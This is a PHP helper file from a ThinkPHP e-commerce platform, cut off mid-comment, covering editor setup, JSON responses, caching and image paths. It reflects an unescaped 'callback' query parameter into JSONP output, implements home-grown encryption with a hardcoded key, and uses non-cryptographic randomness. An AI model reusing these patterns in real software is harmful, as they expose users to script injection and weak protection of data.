common.php 39 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286
  1. <?php
  2. use think\facade\Db;
  3. /* 引用全局定义 */
  4. require __DIR__ . '/common_global.php';
  5. /* 商品相关调用 */
  6. require __DIR__ . '/common_goods.php';
  7. /* 图片上传、生成缩略图、删除等操作调用 */
  8. require __DIR__ . '/common_upload.php';
  9. function ds_validate($name)
  10. {
  11. $name = preg_replace_callback('/([-_]+([a-z]{1}))/i', function ($matches) {
  12. return strtoupper($matches[2]);
  13. }, $name);
  14. $class_name = '\app\common\validate\\' . ucfirst($name);
  15. return new $class_name;
  16. }
  17. function model($name, $layer = 'model')
  18. {
  19. $name = preg_replace_callback('/([-_]+([a-z]{1}))/i', function ($matches) {
  20. return strtoupper($matches[2]);
  21. }, $name);
  22. $class_name = '\app\common\\' . $layer . '\\' . ucfirst($name);
  23. return new $class_name;
  24. }
  25. /*
  26. * 更换数组的键值 为了应对 ->key
  27. */
  28. function ds_change_arraykey($array, $key)
  29. {
  30. $data = array();
  31. foreach ($array as $value) {
  32. $data[$value[$key]] = $value;
  33. }
  34. return $data;
  35. }
  36. /**
  37. *
  38. * @param type $table 数据表
  39. * @param type $field 条件对应的字段
  40. * @param type $name 条件对应的值
  41. * @param type $value 数值
  42. * @return type
  43. */
  44. function ds_getvalue_byname($table, $field, $name, $value)
  45. {
  46. return Db::name($table)->where($field, $name)->value($value);
  47. }
  48. /*
  49. * 编辑器内容
  50. */
  51. function build_editor($params = array())
  52. {
  53. $name = isset($params['name']) ? $params['name'] : null;
  54. $theme = isset($params['theme']) ? $params['theme'] : 'normal';
  55. $content = isset($params['content']) ? $params['content'] : null;
  56. //http://fex.baidu.com/ueditor/#start-toolbar
  57. /* 指定使用哪种主题 */
  58. $themes = array(
  59. 'normal' => "[
  60. 'fullscreen', 'source', '|', 'undo', 'redo', '|',
  61. 'bold', 'italic', 'underline', 'fontborder', 'strikethrough', 'superscript', 'subscript', 'removeformat', 'formatmatch', 'autotypeset', 'blockquote', 'pasteplain', '|', 'forecolor', 'backcolor', 'insertorderedlist', 'insertunorderedlist', 'selectall', 'cleardoc', '|',
  62. 'rowspacingtop', 'rowspacingbottom', 'lineheight', '|',
  63. 'customstyle', 'paragraph', 'fontfamily', 'fontsize', '|',
  64. 'directionalityltr', 'directionalityrtl', 'indent', '|',
  65. 'justifyleft', 'justifycenter', 'justifyright', 'justifyjustify', '|', 'touppercase', 'tolowercase', '|',
  66. 'link', 'unlink', 'anchor', '|', 'imagenone', 'imageleft', 'imageright', 'imagecenter', '|',
  67. 'emotion', 'map', 'gmap', 'insertcode', 'template', '|',
  68. 'horizontal', 'date', 'time', 'spechars', '|',
  69. 'inserttable', 'deletetable', 'insertparagraphbeforetable', 'insertrow', 'deleterow', 'insertcol', 'deletecol', 'mergecells', 'mergeright', 'mergedown', 'splittocells', 'splittorows', 'splittocols', 'charts', '|',
  70. 'searchreplace', 'help', 'drafts', 'charts'
  71. ]", 'simple' => " ['fullscreen', 'source', 'undo', 'redo', 'bold']",
  72. );
  73. switch ($theme) {
  74. case 'simple':
  75. $theme_config = $themes['simple'];
  76. break;
  77. case 'normal':
  78. $theme_config = $themes['normal'];
  79. break;
  80. default:
  81. $theme_config = $themes['normal'];
  82. break;
  83. }
  84. /* 配置界面语言 */
  85. switch (config('lang.default_lang')) {
  86. case 'zh-cn':
  87. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/zh-cn/zh-cn.js';
  88. break;
  89. case 'en-us':
  90. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/en/en.js';
  91. break;
  92. default:
  93. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/zh-cn/zh-cn.js';
  94. break;
  95. }
  96. $include_js = '<script type="text/javascript" charset="utf-8" src="' . PLUGINS_SITE_ROOT . '/ueditor/ueditor.config.js"></script> <script type="text/javascript" charset="utf-8" src="' . PLUGINS_SITE_ROOT . '/ueditor/ueditor.all.min.js""> </script><script type="text/javascript" charset="utf-8" src="' . $lang . '"></script>';
  97. $content = json_encode($content);
  98. $str = <<<EOT
  99. $include_js
  100. <script type="text/javascript">
  101. var ue = UE.getEditor('{$name}',{
  102. toolbars:[{$theme_config}],
  103. });
  104. if($content){
  105. ue.ready(function() {
  106. this.setContent($content);
  107. })
  108. }
  109. </script>
  110. EOT;
  111. return $str;
  112. }
  113. /**
  114. *
  115. * @param type $code 100000表示为正确,其他为错误代码
  116. * @param type $message 提示消息
  117. * @param type $result 返回数据
  118. * @param type $$requestMethod 返回请求Method
  119. */
  120. function ds_json_encode($code, $message = '', $result = '', $requestMethod = '', $if_exit = true)
  121. {
  122. $data = array('code' => $code, 'message' => $message, 'result' => $result, 'requestMethod' => $requestMethod);
  123. if (!empty($_GET['callback'])) {
  124. echo $_GET['callback'] . '(' . json_encode($data) . ')';
  125. } else {
  126. echo json_encode($data);
  127. }
  128. if ($if_exit) {
  129. exit;
  130. }
  131. }
  132. /**
  133. * 规范数据返回函数
  134. * @param unknown $code
  135. * @param unknown $msg
  136. * @param unknown $data
  137. * @return multitype:unknown
  138. */
  139. function ds_callback($code, $msg = '', $data = array())
  140. {
  141. return array('code' => $code, 'msg' => $msg, 'data' => $data);
  142. }
  143. /**
  144. * 格式化字节大小
  145. * @param number $size 字节数
  146. * @param string $delimiter 数字和单位分隔符
  147. * @return string 格式化后的带单位的大小
  148. */
  149. function format_bytes($size, $delimiter = '')
  150. {
  151. $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
  152. for ($i = 0; $size >= 1024 && $i < 5; $i++)
  153. $size /= 1024;
  154. return round($size, 2) . $delimiter . $units[$i];
  155. }
  156. /**
  157. * 消息提示,主要适用于普通页面AJAX提交的情况
  158. *
  159. * @param string $message 消息内容
  160. * @param string $url 提示完后的URL去向
  161. * @param stting $alert_type 提示类型 error/succ/notice 分别为错误/成功/警示
  162. * @param string $extrajs 扩展JS
  163. * @param int $time 停留时间
  164. */
  165. function ds_show_dialog($message = '', $url = '', $alert_type = 'error', $extrajs = '', $time = 2)
  166. {
  167. $message = str_replace("'", "\\'", strip_tags($message));
  168. $paramjs = null;
  169. if ($url == 'reload') {
  170. $paramjs = 'window.location.reload()';
  171. } elseif ($url != '') {
  172. $paramjs = 'window.location.href =\'' . $url . '\'';
  173. }
  174. if ($paramjs) {
  175. $paramjs = 'function (){' . $paramjs . '}';
  176. } else {
  177. $paramjs = 'null';
  178. }
  179. $modes = array('error' => 'alert', 'succ' => 'succ', 'notice' => 'notice', 'js' => 'js');
  180. $cover = $alert_type == 'error' ? 1 : 0;
  181. $extra = 'showDialog(\'' . $message . '\', \'' . $modes[$alert_type] . '\', null, ' . ($paramjs ? $paramjs : 'null') . ', ' . $cover . ', null, null, null, null, ' . (is_numeric($time) ? $time : 'null') . ', null);';
  182. $extra = '<script type="text/javascript" reload="1">' . $extra . '</script>';
  183. if ($extrajs != '' && substr(trim($extrajs), 0, 7) != '<script') {
  184. $extrajs = '<script type="text/javascript" reload="1">' . $extrajs . '</script>';
  185. }
  186. $extra .= $extrajs;
  187. ob_end_clean();
  188. @header("Expires: -1");
  189. @header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE);
  190. @header("Pragma: no-cache");
  191. @header("Content-type: text/xml; charset=utf-8");
  192. $string = '<?xml version="1.0" encoding="utf-8"?>' . "\r\n";
  193. $string .= '<root><![CDATA[' . $message . $extra . ']]></root>';
  194. echo $string;
  195. exit;
  196. }
  197. /**
  198. * 取上一步来源地址
  199. *
  200. * @param
  201. * @return string 字符串类型的返回结果
  202. */
  203. function get_referer()
  204. {
  205. return empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'];
  206. }
  207. /**
  208. * 加密函数
  209. *
  210. * @param string $txt 需要加密的字符串
  211. * @param string $key 密钥
  212. * @return string 返回加密结果
  213. */
  214. function ds_encrypt($txt, $key = '')
  215. {
  216. if (empty($txt))
  217. return $txt;
  218. if (empty($key))
  219. $key = md5(config('ds_config.setup_date'));
  220. $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
  221. $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
  222. $nh1 = rand(0, 64);
  223. $nh2 = rand(0, 64);
  224. $nh3 = rand(0, 64);
  225. $ch1 = $chars{
  226. $nh1};
  227. $ch2 = $chars{
  228. $nh2};
  229. $ch3 = $chars{
  230. $nh3};
  231. $nhnum = $nh1 + $nh2 + $nh3;
  232. $knum = 0;
  233. $i = 0;
  234. while (isset($key{
  235. $i}))
  236. $knum += ord($key{
  237. $i++});
  238. $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
  239. $txt = base64_encode(TIMESTAMP . '_' . $txt);
  240. $txt = str_replace(array('+', '/', '='), array('-', '_', '.'), $txt);
  241. $tmp = '';
  242. $j = 0;
  243. $k = 0;
  244. $tlen = strlen($txt);
  245. $klen = strlen($mdKey);
  246. for ($i = 0; $i < $tlen; $i++) {
  247. $k = $k == $klen ? 0 : $k;
  248. $j = ($nhnum + strpos($chars, $txt{
  249. $i}) + ord($mdKey{
  250. $k++})) % 64;
  251. $tmp .= $chars{
  252. $j};
  253. }
  254. $tmplen = strlen($tmp);
  255. $tmp = substr_replace($tmp, $ch3, $nh2 % ++$tmplen, 0);
  256. $tmp = substr_replace($tmp, $ch2, $nh1 % ++$tmplen, 0);
  257. $tmp = substr_replace($tmp, $ch1, $knum % ++$tmplen, 0);
  258. return $tmp;
  259. }
  260. /**
  261. * 解密函数
  262. *
  263. * @param string $txt 需要解密的字符串
  264. * @param string $key 密匙
  265. * @return string 字符串类型的返回结果
  266. */
  267. function ds_decrypt($txt, $key = '', $ttl = 0)
  268. {
  269. if (empty($txt))
  270. return $txt;
  271. if (empty($key))
  272. $key = md5(config('ds_config.setup_date'));
  273. $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
  274. $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
  275. $knum = 0;
  276. $i = 0;
  277. $tlen = @strlen($txt);
  278. while (isset($key{
  279. $i}))
  280. $knum += ord($key{
  281. $i++});
  282. $ch1 = @$txt{
  283. $knum % $tlen};
  284. $nh1 = strpos($chars, $ch1);
  285. $txt = @substr_replace($txt, '', $knum % $tlen--, 1);
  286. $ch2 = @$txt{
  287. $nh1 % $tlen};
  288. $nh2 = @strpos($chars, $ch2);
  289. $txt = @substr_replace($txt, '', $nh1 % $tlen--, 1);
  290. $ch3 = @$txt{
  291. $nh2 % $tlen};
  292. $nh3 = @strpos($chars, $ch3);
  293. $txt = @substr_replace($txt, '', $nh2 % $tlen--, 1);
  294. $nhnum = $nh1 + $nh2 + $nh3;
  295. $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
  296. $tmp = '';
  297. $j = 0;
  298. $k = 0;
  299. $tlen = @strlen($txt);
  300. $klen = @strlen($mdKey);
  301. for ($i = 0; $i < $tlen; $i++) {
  302. $k = $k == $klen ? 0 : $k;
  303. $j = strpos($chars, $txt{
  304. $i}) - $nhnum - ord($mdKey{
  305. $k++});
  306. while ($j < 0)
  307. $j += 64;
  308. $tmp .= $chars{
  309. $j};
  310. }
  311. $tmp = str_replace(array('-', '_', '.'), array('+', '/', '='), $tmp);
  312. $tmp = trim(base64_decode($tmp));
  313. if (preg_match("/\d{10}_/s", substr($tmp, 0, 11))) {
  314. if ($ttl > 0 && (TIMESTAMP - (int) substr($tmp, 0, 11) > $ttl)) {
  315. $tmp = null;
  316. } else {
  317. $tmp = substr($tmp, 11);
  318. }
  319. }
  320. return $tmp;
  321. }
  322. /**
  323. * 获取文件列表(所有子目录文件)
  324. *
  325. * @param string $path 目录
  326. * @param array $file_list 存放所有子文件的数组
  327. * @param array $ignore_dir 需要忽略的目录或文件
  328. * @return array 数据格式的返回结果
  329. */
  330. function read_file_list($path, &$file_list, $ignore_dir = array())
  331. {
  332. $path = rtrim($path, '/');
  333. if (is_dir($path)) {
  334. $handle = @opendir($path);
  335. if ($handle) {
  336. while (false !== ($dir = readdir($handle))) {
  337. if ($dir != '.' && $dir != '..') {
  338. if (!in_array($dir, $ignore_dir)) {
  339. if (is_file($path . '/' . $dir)) {
  340. $file_list[] = $path . '/' . $dir;
  341. } elseif (is_dir($path . '/' . $dir)) {
  342. read_file_list($path . '/' . $dir, $file_list, $ignore_dir);
  343. }
  344. }
  345. }
  346. }
  347. @closedir($handle);
  348. } else {
  349. return false;
  350. }
  351. } else {
  352. return false;
  353. }
  354. }
  355. /**
  356. * 价格格式化
  357. *
  358. * @param int $price
  359. * @return string $price_format
  360. */
  361. function ds_price_format($price)
  362. {
  363. $price_format = number_format($price, 2, '.', '');
  364. return $price_format;
  365. }
  366. /**
  367. * 价格格式化
  368. *
  369. * @param int $price
  370. * @return string $price_format
  371. */
  372. function ds_price_format_forlist($price)
  373. {
  374. if ($price >= 10000) {
  375. return number_format(floor($price / 100) / 100, 2, '.', '') . lang('ten_thousand');
  376. } else {
  377. return lang('currency') . $price;
  378. }
  379. }
  380. /**
  381. * 通知邮件/通知消息 内容转换函数
  382. *
  383. * @param string $message 内容模板
  384. * @param array $param 内容参数数组
  385. * @return string 通知内容
  386. */
  387. function ds_replace_text($message, $param)
  388. {
  389. if (!is_array($param))
  390. return false;
  391. foreach ($param as $k => $v) {
  392. $message = str_replace('${' . $k . '}', $v, $message);
  393. }
  394. return $message;
  395. }
  396. /** @noinspection InconsistentLineSeparators */
  397. /**
  398. * 字符串切割函数,一个字母算一个位置,一个字算2个位置
  399. *
  400. * @param string $string 待切割的字符串
  401. * @param int $length 切割长度
  402. * @param string $dot 尾缀
  403. */
  404. function str_cut($string, $length, $dot = '')
  405. {
  406. $string = str_replace(array(
  407. '&nbsp;', '&amp;', '&quot;', '&#039;', '&ldquo;', '&rdquo;', '&mdash;', '&lt;', '&gt;',
  408. '&middot;', '&hellip;'
  409. ), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string);
  410. $strlen = strlen($string);
  411. if ($strlen <= $length)
  412. return $string;
  413. $maxi = $length - strlen($dot);
  414. $strcut = '';
  415. $n = $tn = $noc = 0;
  416. while ($n < $strlen) {
  417. $t = ord($string[$n]);
  418. if ($t == 9 || $t == 10 || (32 <= $t && $t <= 126)) {
  419. $tn = 1;
  420. $n++;
  421. $noc++;
  422. } elseif (194 <= $t && $t <= 223) {
  423. $tn = 2;
  424. $n += 2;
  425. $noc += 2;
  426. } elseif (224 <= $t && $t < 239) {
  427. $tn = 3;
  428. $n += 3;
  429. $noc += 2;
  430. } elseif (240 <= $t && $t <= 247) {
  431. $tn = 4;
  432. $n += 4;
  433. $noc += 2;
  434. } elseif (248 <= $t && $t <= 251) {
  435. $tn = 5;
  436. $n += 5;
  437. $noc += 2;
  438. } elseif ($t == 252 || $t == 253) {
  439. $tn = 6;
  440. $n += 6;
  441. $noc += 2;
  442. } else {
  443. $n++;
  444. }
  445. if ($noc >= $maxi)
  446. break;
  447. }
  448. if ($noc > $maxi)
  449. $n -= $tn;
  450. $strcut = substr($string, 0, $n);
  451. $strcut = str_replace(array('&', '"', "'", '<', '>'), array('&amp;', '&quot;', '&#039;', '&lt;', '&gt;'), $strcut);
  452. return $strcut . $dot;
  453. }
  454. /*
  455. * 重写$_SERVER['REQUREST_URI']
  456. */
  457. function request_uri()
  458. {
  459. if (isset($_SERVER['REQUEST_URI'])) {
  460. $uri = $_SERVER['REQUEST_URI'];
  461. } else {
  462. if (isset($_SERVER['argv'])) {
  463. $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
  464. } else {
  465. $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
  466. }
  467. }
  468. return $uri;
  469. }
  470. function get_member_id_by_XDSKEY()
  471. {
  472. $key = request()->header('X-DS-KEY');
  473. if (!$key) {
  474. return;
  475. }
  476. $mbusertoken_model = model('mbusertoken');
  477. $mb_user_token_info = $mbusertoken_model->getMbusertokenInfoByToken($key);
  478. if (empty($mb_user_token_info)) {
  479. return;
  480. } else {
  481. return $mb_user_token_info['member_id'];
  482. }
  483. }
  484. function get_member_idcard_image($member_image)
  485. {
  486. if ($member_image) {
  487. return ds_get_pic(ATTACH_IDCARD_IMAGE, $member_image);
  488. }
  489. return '';
  490. }
  491. /**
  492. * 取得用户头像图片
  493. *
  494. * @param string $member_avatar
  495. * @return string
  496. */
  497. function get_member_avatar($member_avatar)
  498. {
  499. if (empty($member_avatar)) {
  500. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_user_portrait'));
  501. } else {
  502. $url = ds_get_pic(ATTACH_AVATAR, $member_avatar);
  503. if ($url) {
  504. return $url;
  505. } else {
  506. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_user_portrait'));
  507. }
  508. }
  509. }
  510. /**
  511. * 成员头像
  512. * @param string $member_id
  513. * @return string
  514. */
  515. function get_member_avatar_for_id($id)
  516. {
  517. $member_model = model('member');
  518. $member_info = $member_model->getMemberInfoByID($id);
  519. if ($member_info) {
  520. return get_member_avatar($member_info['member_avatar']);
  521. }
  522. }
  523. /**
  524. * 取得店铺标志
  525. *
  526. * @param string $img 图片名
  527. * @param string $type 查询类型 store_logo/store_avatar
  528. * @return string
  529. */
  530. function get_store_logo($img, $type = 'store_avatar')
  531. {
  532. $linfo = explode('_', $img);
  533. $store_id = $linfo['0'];
  534. if ($store_id == 'alioss') {
  535. $store_id = $linfo['1'];
  536. }
  537. if ($type == 'store_avatar') {
  538. if (empty($img)) {
  539. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_avatar'));
  540. } else {
  541. $url = ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  542. if (!$url) {
  543. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_avatar'));
  544. } else {
  545. return $url;
  546. }
  547. }
  548. } elseif ($type == 'store_logo') {
  549. if (empty($img)) {
  550. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_logo'));
  551. } else {
  552. return ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  553. }
  554. } elseif ($type == 'store_banner') {
  555. if (!empty($img)) {
  556. return ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  557. }
  558. }
  559. }
  560. function get_adv_code($adv_code)
  561. {
  562. $url = ds_get_pic(ATTACH_ADV, $adv_code);
  563. if (!$url) {
  564. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  565. } else {
  566. return $url;
  567. }
  568. }
  569. function get_appadv_code($adv_code)
  570. {
  571. $url = ds_get_pic(ATTACH_APPADV, $adv_code);
  572. if (!$url) {
  573. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  574. } else {
  575. return $url;
  576. }
  577. }
  578. /**
  579. * 获取用户相册图片
  580. * @param type $user_id
  581. * @param type $ap_cover
  582. * @return type
  583. */
  584. function get_snsalbumpic($user_id, $ap_cover)
  585. {
  586. $url = ds_get_pic(ATTACH_MALBUM . '/' . $user_id, $ap_cover);
  587. if (!$url) {
  588. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  589. } else {
  590. return $url;
  591. }
  592. }
  593. /**
  594. * 获取开店申请图片
  595. */
  596. function get_store_joinin_imageurl($image_name = '')
  597. {
  598. return ds_get_pic(ATTACH_STORE_JOININ, $image_name);
  599. }
  600. /**
  601. * 获取提货点图片
  602. */
  603. function get_chain_imageurl($image_name = '')
  604. {
  605. return ds_get_pic(ATTACH_CHAIN, $image_name);
  606. }
  607. /**
  608. * 取得随机数
  609. *
  610. * @param int $length 生成随机数的长度
  611. * @param int $numeric 是否只产生数字随机数 1是0否
  612. * @return string
  613. */
  614. function random($length, $numeric = 0)
  615. {
  616. $seed = base_convert(md5(microtime() . $_SERVER['DOCUMENT_ROOT']), 16, $numeric ? 10 : 35);
  617. $seed = $numeric ? (str_replace('0', '', $seed) . '012340567890') : ($seed . 'zZ' . strtoupper($seed));
  618. $hash = '';
  619. $max = strlen($seed) - 1;
  620. for ($i = 0; $i < $length; $i++) {
  621. $hash .= $seed{
  622. mt_rand(0, $max)};
  623. }
  624. return $hash;
  625. }
  626. /**
  627. * sns表情标示符替换为html
  628. */
  629. function parsesmiles($message, $type = 0)
  630. {
  631. if ($type == 1) {
  632. $chat_goods = $message;
  633. $message = '<div class="dstouch-chat-product"> <a href="' . HOME_SITE_URL . '/goods/index?goods_id=' . $chat_goods['goods_id'] . '" target="_blank"><div class="goods-pic"><img src="' . $chat_goods['goods_image_url'] . '" alt=""/></div><div class="goods-info"><div class="goods-name">' . $chat_goods['goods_name'] . '</div><div class="goods-price">¥' . $chat_goods['goods_price'] . "</div></div></a> </div>";
  634. } else {
  635. $file = root_path() . 'extend/smilies.php';
  636. if (file_exists($file)) {
  637. include $file;
  638. if (!empty($smilies_array) && is_array($smilies_array)) {
  639. $imagesurl = PLUGINS_SITE_ROOT . '/js' . '/smilies' . '/images' . '/';
  640. $replace_arr = array();
  641. foreach ($smilies_array['replacearray'] as $key => $smiley) {
  642. $replace_arr[$key] = '<img src="' . $imagesurl . $smiley['imagename'] . '" title="' . $smiley['desc'] . '" border="0" alt="' . $imagesurl . $smiley['desc'] . '" />';
  643. }
  644. $message = preg_replace($smilies_array['searcharray'], $replace_arr, $message);
  645. }
  646. }
  647. }
  648. return $message;
  649. }
  650. /**
  651. * 延时加载分页功能,判断是否有更多连接和limitstart值和经过验证修改的$delay_eachnum值
  652. * @param int $delay_eachnum 延时分页每页显示的条数
  653. * @param int $delay_page 延时分页当前页数
  654. * @param int $count 总记录数
  655. * @param bool $ispage 是否在分页模式中实现延时分页(前台显示的两种不同效果)
  656. * @param int $page_nowpage 分页当前页数
  657. * @param int $page_eachnum 分页每页显示条数
  658. * @param int $page_limitstart 分页初始limit值
  659. * @return array array('hasmore'=>'是否显示更多连接','limitstart'=>'加载的limit开始值','delay_eachnum'=>'经过验证修改的$delay_eachnum值');
  660. */
  661. function lazypage($delay_eachnum, $delay_page, $count, $ispage = false, $page_nowpage = 1, $page_eachnum = 1, $page_limitstart = 1)
  662. {
  663. //是否有多余
  664. $hasmore = true;
  665. $limitstart = 0;
  666. if ($ispage == true) {
  667. if ($delay_eachnum < $page_eachnum) { //当延时加载每页条数小于分页的每页条数时候实现延时加载,否则按照普通分页程序流程处理
  668. $page_totlepage = ceil($count / $page_eachnum);
  669. //计算limit的开始值
  670. $limitstart = $page_limitstart + ($delay_page - 1) * $delay_eachnum;
  671. if ($page_totlepage > $page_nowpage) { //当前不为最后一页
  672. if ($delay_page >= $page_eachnum / $delay_eachnum) {
  673. $hasmore = false;
  674. }
  675. //判断如果分页的每页条数与延时加载每页的条数不能整除的处理
  676. if ($hasmore == false && $page_eachnum % $delay_eachnum > 0) {
  677. $delay_eachnum = $page_eachnum % $delay_eachnum;
  678. }
  679. } else { //当前最后一页
  680. $showcount = ($page_totlepage - 1) * $page_eachnum + $delay_eachnum * $delay_page; //已经显示的记录总数
  681. if ($count <= $showcount) {
  682. $hasmore = false;
  683. }
  684. }
  685. } else {
  686. $hasmore = false;
  687. }
  688. } else {
  689. if ($count <= $delay_page * $delay_eachnum) {
  690. $hasmore = false;
  691. }
  692. //计算limit的开始值
  693. $limitstart = ($delay_page - 1) * $delay_eachnum;
  694. }
  695. return array('hasmore' => $hasmore, 'limitstart' => $limitstart, 'delay_eachnum' => $delay_eachnum);
  696. }
  697. /**
  698. * 返回以原数组某个值为下标的新数据
  699. *
  700. * @param array $array
  701. * @param string $key
  702. * @param int $type 1一维数组2二维数组
  703. * @return array
  704. */
  705. function array_under_reset($array, $key, $type = 1)
  706. {
  707. if (is_array($array)) {
  708. $tmp = array();
  709. foreach ($array as $v) {
  710. if ($type === 1) {
  711. $tmp[$v[$key]] = $v;
  712. } elseif ($type === 2) {
  713. $tmp[$v[$key]][] = $v;
  714. }
  715. }
  716. return $tmp;
  717. } else {
  718. return $array;
  719. }
  720. }
  721. /**
  722. * KV缓存 读
  723. *
  724. * @param string $key 缓存名称
  725. * @param boolean $callback 缓存读取失败时是否使用回调 true代表使用cache.model中预定义的缓存项 默认不使用回调
  726. * @param callable $callback 传递非boolean值时 通过is_callable进行判断 失败抛出异常 成功则将$key作为参数进行回调
  727. * @return mixed
  728. */
  729. function rkcache($key, $callback = false)
  730. {
  731. $value = cache($key);
  732. if (empty($value) && $callback !== false) {
  733. if ($callback === true) {
  734. $callback = array(model('cache'), 'call');
  735. }
  736. if (!is_callable($callback)) {
  737. throw new \think\Exception('Invalid rkcache callback!', 10006);
  738. }
  739. $value = call_user_func($callback, $key);
  740. wkcache($key, $value);
  741. }
  742. return $value;
  743. }
  744. /**
  745. * KV缓存 写
  746. *
  747. * @param string $key 缓存名称
  748. * @param mixed $value 缓存数据 若设为否 则下次读取该缓存时会触发回调(如果有)
  749. * @param int $expire 缓存时间 单位秒 null代表不过期
  750. * @return boolean
  751. */
  752. function wkcache($key, $value, $expire = 7200)
  753. {
  754. return cache($key, $value, $expire);
  755. }
  756. /**
  757. * KV缓存 删
  758. *
  759. * @param string $key 缓存名称
  760. * @return boolean
  761. */
  762. function dkcache($key)
  763. {
  764. return cache($key, NULL);
  765. }
  766. /**
  767. * 读取缓存信息
  768. *
  769. * @param string $key 要取得缓存键
  770. * @param string $prefix 键值前缀
  771. * @return array/bool
  772. */
  773. function rcache($key = null, $prefix = '')
  774. {
  775. if ($key === null || !config('ds_config.cache_open'))
  776. return array();
  777. if (!empty($prefix)) {
  778. $name = $prefix . $key;
  779. } else {
  780. $name = $key;
  781. }
  782. $cache_info = cache($name);
  783. //如果name值不存在,则默认返回 false。
  784. return $cache_info;
  785. }
  786. /**
  787. * 写入缓存
  788. *
  789. * @param string $key 缓存键值
  790. * @param array $data 缓存数据
  791. * @param string $prefix 键值前缀
  792. * @param int $expire 缓存周期 单位分,0为永久缓存
  793. * @return bool 返回值
  794. */
  795. function wcache($key = null, $data = array(), $prefix = '', $expire = 3600)
  796. {
  797. if ($key === null || !config('ds_config.cache_open') || !is_array($data))
  798. return;
  799. if (!empty($prefix)) {
  800. $name = $prefix . $key;
  801. } else {
  802. $name = $key;
  803. }
  804. $cache_info = cache($name, $data, $expire);
  805. //如果设置成功返回true,否则返回false。
  806. return $cache_info;
  807. }
  808. /**
  809. * 删除缓存
  810. * @param string $key 缓存键值
  811. * @param string $prefix 键值前缀
  812. * @return boolean
  813. */
  814. function dcache($key = null, $prefix = '')
  815. {
  816. if ($key === null || !config('ds_config.cache_open'))
  817. return true;
  818. if (!empty($prefix)) {
  819. $name = $prefix . $key;
  820. } else {
  821. $name = $key;
  822. }
  823. return cache($name, NULL);
  824. }
  825. /**
  826. * 输出聊天信息
  827. *
  828. * @return string
  829. */
  830. function get_chat()
  831. {
  832. return Chat::getChatHtml();
  833. }
  834. /**
  835. * 验证是否为平台店铺
  836. *
  837. * @return boolean
  838. */
